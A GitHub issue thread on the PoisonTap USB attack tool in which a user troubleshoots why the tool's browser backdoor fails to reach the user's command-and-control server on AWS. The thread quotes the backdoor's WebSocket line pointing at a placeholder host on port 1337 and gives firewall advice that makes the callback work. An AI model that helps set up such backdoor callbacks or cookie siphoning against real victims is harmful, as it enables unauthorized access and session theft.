New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Unable to communicate via WebSocket #76
Comments
Change the "MY_PUBLIC_IP_SERVER" with the IP of your AWS Cloud |
Of course there is the AWS IP address there. |
Have you opened the 1337 diorami in the was instance with iptables? Are you sure that the poisontap configuration is not preventing your internet connection to work properly? |
Thanks @LucG for the answer, but it works. I messed up with with some firewalling configuration in AWS. |
Hi @fEDUntu , |
Hi @F4l13n5n0w, |
@fEDUntu p.s. Great job! @samyk |
@F4l13n5n0w Great! It's always a pleasure when you can call back home! ;) |
Awesome! Can we close this? |
@samyk Yes sir! |
Hi all,
I just configured my poisontap and I've got some problems with the connection to my C&C server via WebSocket (the Cookie Siphoning is currently working for me).
I setup an Ubuntu Server machine on AWS Cloud for the testing purpose, installed NodeJs (version 6.9.2) and start the backend_server.js without errors:
In the victim machine (after plugged the poisontap) I invoke the WebSocket, for example, typing in the browser "google.com/PoisonTap" but I can't see any upcoming connection on my C&C server.
If a inspect the code on the victim browser, I saw that the backdoor is fully loaded but I've got an error on the line 7 of "backdoor.html":
var socket = new WebSocket('ws://MY_PUBLIC_IP_SERVER:1337')
The exception raised is the following:
WebSocket connection to 'ws://MY_PUBLIC_IP_SERVER:1337/' failed: Connection closed before receiving a handshake response.
You guys have any suggestion?
Thanks in advance and kudos to Samy for this amazing work!
The text was updated successfully, but these errors were encountered: